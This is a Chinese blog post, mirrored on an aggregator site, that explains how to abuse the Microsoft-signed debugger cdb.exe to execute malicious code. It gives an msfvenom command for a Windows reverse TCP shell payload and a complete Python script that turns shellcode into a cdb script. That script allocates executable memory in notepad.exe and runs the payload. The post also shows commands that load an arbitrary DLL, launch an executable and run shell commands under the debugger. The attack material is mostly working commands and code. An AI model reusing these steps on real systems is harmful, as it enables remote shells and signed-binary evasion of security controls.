cdb.exe的利用

news2025/1/16 17:38:21

cdb.exe的利用

0x01 简介

cdb 是安装 windows debugging tools 时自带的一个命令行调试工具,由微软签发证书。

在这里插入图片描述

0x02 cdb.exe加载shellcode

​ cdb.exe是调试工具,可以用来调试指定进程,并且可以在指定进程里分配RWX属性内存并写入shellcode,并执行该内存中的shellcode

首先使用 msfvenom 生成 shellcode。

msfvenom -p windows/x64/shell_reverse_tcp lhost=xxx.xxx.xxx.xxx lport=3333 -f python

在这里插入图片描述

接下来,下载脚本https://github.com/Ryze-T/cdb-wds,并将 shellcode 替换为msf生成的。

python3 shellcode2wds.py

在这里插入图片描述

shellcode2wds.py脚本

import binascii

buf = "shellcode"

outfile = open("shell.wds","w")
outfile.write(".foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }"+"\n")
num = (int)(len(buf)/2)
count = 0

for i in range(num):
    flag = count%4
    if flag == 0:
        outfile.write("\n")
    if count < 16:
        sc_count = "0" + hex(count).upper()
    else:
        sc_count = hex(count).upper()
    x = ";eb @$t0+" + sc_count + " " + buf[i*2:i*2+2].upper()
    count = count + 1
    x= x.replace("0X","")
    outfile.write(x)
extra = num%4
if extra!=0:
    for j in range(4-extra):
        sc_count = hex(count).upper()
        count = count+1
        x = ";eb @$t0+" + sc_count + " 00"
        x = x.replace("0X", "")
        outfile.write(x)

outfile.write("\n" + "r @$ip=@$t0"+"\n")
outfile.write("g"+"\n")
outfile.write("g"+"\n")
outfile.write("q")

然后将生成的shell.wds上传到目标机器并运行以下命令,成功获取到会话。

cdb.exe -pd -cf shell.wds -o notepad.exe

在这里插入图片描述

0x03 cdb.exe加载dll

(Error code: Win32 error 0n5 错误,需要使用相应位数的cdb.exe)

推荐自己去下载https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

路径:

  • C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
  • C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

执行 DLL,首先要将 cdb 附加到指定进程中

cdb.exe -pd -pn notepad.exe

然后使用 .load 命令并指定 DLL 的完整路径。

.load C:\Users\WINDOWS\Downloads\cdb-wds-main\cdb-wds-main\artifact.dll

在这里插入图片描述

0x04 cdb.exe 执行exe文件

使用 cdb .exe执行exe文件,该exe将成为cdb.exe子进程,将 cdb 附加到任何正在运行的进程才能运行可执行文件,例如使用记事本

cdb.exe -pd -pn notepad.exe -a "C:\Users\WINDOWS\Downloads\cdb-wds-main\cdb-wds-main\artifact.exe"
g

在这里插入图片描述

在这里插入图片描述

由于 -pd 标志,您还可以在 cdb 控制台中按 CTRL+C 然后按“q”退出 cdb,而不会影响可执行文件或其附加到的进程。这样做的缺点是失去 cdb 作为父进程。

在这里插入图片描述

0x05 cdb.exe执行shell命令

同样,将 cdb 附加到任何进程。

cdb.exe -pd -pn notepad.exe

使用 .shell 运行 shell 命令。

.shell cmd.exe /c whoami

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/117256.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

临近年底,如何提高软件项目开发效率和开发速度?

1、任务自动分配功能 提高开发效率 为了提高团队的整个任务分配效率&#xff0c;CoCode自主研发任务“自动规划”功能&#xff0c;会根据当前任务属性以及人员技能登记等信息&#xff0c;实现迭代计划的一键规划&#xff0c;为项目经理智能规划出最优的项目计划以及人员工作安排…

ROS1学习笔记:服务数据的定义与使用(ubuntu20.04)

参考B站古月居ROS入门21讲&#xff1a;服务数据的定义与使用 基于VMware Ubuntu 20.04 Noetic版本的环境 文章目录一、模型图二、创建功能包三、自定义服务数据3.1 在package.xml中添加功能包依赖3.2 在CmakeLists.txt中添加编译选项3.3 编译生成的C文件和Python库四、代码实现…

DSPE-PEG-NPC 二硬脂酰基磷脂酰乙醇胺-聚乙二醇-NPC ;功能聚乙二醇化试剂

DSPE-PEG-NPC 二硬脂酰基磷脂酰乙醇胺-聚乙二醇-NPC 名称&#xff1a;DSPE-PEG-NPC 中文名称&#xff1a;二硬脂酰基磷脂酰乙醇胺-聚乙二醇-NPC 英文&#xff1a;1,2-distearoyl-sn-glycero-3-phosphoethanolamine-N-(polyethylene glycol)-NPC 性状&#xff1a;PEG2000为白色…

高校房产管理平台架构及安全性需求分析

数图互通高校房产综合管理平台是基于公司自主研发的FMCenterV5.0平台&#xff0c;是针对中国高校房产的管理特点和管理要求&#xff0c;研发的一套标准产品&#xff1b;通过在中国100多所高校的成功实施和迭代&#xff0c;形成了一套成熟、完善、全生命周期的房屋资源管理解决方…

Educational Codeforces Round 99 (Rated for Div. 2) D. Sequence and Swaps

翻译&#xff1a; 您将得到一个序列&#x1d44e;&#xff0c;该序列由&#x1d45b;个整数&#x1d44e;1、&#x1d44e;2、…、&#x1d44e;&#x1d45b;和一个整数&#x1d465;组成。您的任务是使序列&#x1d44e;排序(如果条件&#x1d44e;1≤&#x1d44e;2≤&…

java突发内存和CPU同时100%排查解决

问题说明 springBoot 微服务项目&#xff0c;生产环境突然CPU和内存使用率都100%&#xff0c;导致接口请求超时。 初步排查 接口慢首先排除数据库和慢sql的影响&#xff0c;本次问题是所有接口同事慢&#xff0c;不是单个接口&#xff0c;所以不是数据库问题。大面积接口慢很…

【BP靶场-服务端】SQL注入-17个实验

目录 一、SQL意义 1、目的&#xff1a; 2、示例&#xff1a; 二、检索隐藏数据 实验1&#xff1a;隐藏商品 三、颠覆应用程序逻辑 实验2&#xff1a;登陆逻辑 四、从其他数据库表中检索数据 实验3&#xff1a;判断列 实验4&#xff1a;判断字段对应位置 实验5&#…

门控循环单元(GRU)

门控循环神经网络可以更好地捕获时间步距离很长的序列上的依赖关系。 重置门有助于捕获序列中的短期依赖关系。 更新门有助于捕获序列中的长期依赖关系。 重置门打开时&#xff0c;门控循环单元包含基本循环神经网络&#xff1b;更新门打开时&#xff0c;门控循环单元可以跳…

2023年广东数据分析师CPDA认证招生简章(理论+实战)

CPDA数据分析师认证是中国大数据领域有一定权威度的中高端人才认证&#xff0c;它不仅是中国较早大数据专业技术人才认证、更是中国大数据时代先行者&#xff0c;具有广泛的社会认知度和权威性。 无论是地方政府引进人才、公务员报考、各大企业选聘人才&#xff0c;还是招投标加…

Github上排名前五的开源网络监控工具,附详细的图文说明和项目下载地址

Github上排名前五的开源网络监控工具&#xff0c;附详细的图文说明和项目下载地址。 维护网站正常运行是系统管理员最基本的任务之一&#xff0c;所以对系统进行监视&#xff0c;并保持网络的最佳运行状态至关重要。 在现代的网络中&#xff0c;有许多不同的方法来监视&#…

LeetCode刷题之406 根据身高重建队列(贪心算法)

题目描述 假设有打乱顺序的一群人站成一个队列&#xff0c;数组 people 表示队列中一些人的属性&#xff08;不一定按顺序&#xff09;。每个 people[i] [hi, ki] 表示第 i 个人的身高为 hi &#xff0c;前面 正好 有 ki 个身高大于或等于 hi 的人。 请你重新构造并返回输入数…

元宇宙数字产品制作厂商广州华锐互动如何?

近两年&#xff0c;元宇宙引发全球的高度关注&#xff0c;很多玩家也都开始参与进来。作为虚拟世界的重要组成部分&#xff0c;元宇宙也从一个概念逐渐演变成了一种全新的商业模式以及行业发展趋势。 元宇宙具有极致沉浸和交互的体验&#xff0c;可以提升生活、工业、社会、科…

云原生之使用Docker部署OneNav个人书签管理器

云原生之使用Docker部署OneNav个人书签管理器一、OneNav介绍1.OneNav简介2.OneNav特点二、检查本地docker环境1.检查docker版本2.检查docker状态三、下载onenav镜像四、部署OneNav应用1.创建数据目录2.创建OneNav容器3.查看OneNav容器状态五、访问OneNav首页六、访问OneNav后台…

难受的这两天,你们怎么样?

12月23号周五&#xff0c;下班回来小云说中午下楼买菜碰到小区认识的一个妈妈&#xff0c;两个人在楼下聊了一会&#xff0c;晚上那个妈妈检测出阳性&#xff0c;周五晚上睡觉前&#xff0c;小云没任何不适&#xff0c;周末看朋友圈和小区已经很多很多人中招&#xff0c;我那时…

大数据系列——什么是hdfs?hdfs用来干什么的?

目录 一、什么是HDFS 二、hdfs用来干什么的 三、hdfs适用场景 四、hdfs不适合的场景 五、hdfs 架构 基本概念 六、HDFS基础命令 七、hdfs业务中应用 一、什么是HDFS HDFS全称是Hadoop Distributed File System是一种分布式文件系统(HDFS使用多台计算机存储文件&#xff…

易基因|深度综述:癌症中RNA修饰机制的遗传和表观遗传失调(m6A+m1A+m5C+ψ)

大家好&#xff0c;这里是专注表观组学十余年&#xff0c;领跑多组学科研服务的易基因。 2022年11月12日&#xff0c;《Trends Genet》杂志发表了题为“Genetic and epigenetic defects of the RNA modification machinery in cancer”的综述文章&#xff0c;讨论了m6A、m5C、…

CSS滤镜 filter 网站灰色设置

-webkit-filter: grayscale(100%); -moz-filter: grayscale(100%); -ms-filter: grayscale(100%); -o-filter: grayscale(100%); filter: grayscale(100%); filter: progid:DXImageTransform.Microsoft.BasicImage(grayscale1);例如&#xff1a; CSS滤镜 filter 详情链接 blu…

【K3s】第6篇 详解yaml文件,pod端口供外部访问

目录 1、yaml文件详解 2、pod 容器对外透露端口号 1、yaml文件详解 apiVersion: v1 #创建一个新的命名空间 kind: Namespace metadata:name: test --- apiVersion: apps/v1 #资源版本&#xff0c;可使用 kubectl api-versions命令查看有哪些&#xff0c;只有指定具体的资源…

嵌入式:ARM常用开发编译软件介绍

文章目录编译器介绍1、ADS1.22、ARM RealView Developer Suite (RVDS)3、IAR EWARM4、KEIL ARM-MDKARM5、WIN ARM-GCC ARM编译器介绍 1、ADS1.2 ADS&#xff08;ARM Developer Suite&#xff09;&#xff0c;是在1993年由Metrowerks公司开发是ARM处理器下最主要的开发工具。 他…

结合今年的考试难度浅析浙大MBA/MPA/MEM三项目的分数线趋势…

最近一些天&#xff0c;不少考生都在关注今年的分数线问题&#xff0c;按照往年惯例&#xff0c;这个问题的答案要等到3月10日前后才会出来&#xff0c;包括国家线和浙大自划线两个复试的标尺。但从历史数据和经验方面倒也可以提前针对这个问题做一些趋势分析&#xff0c;特别是…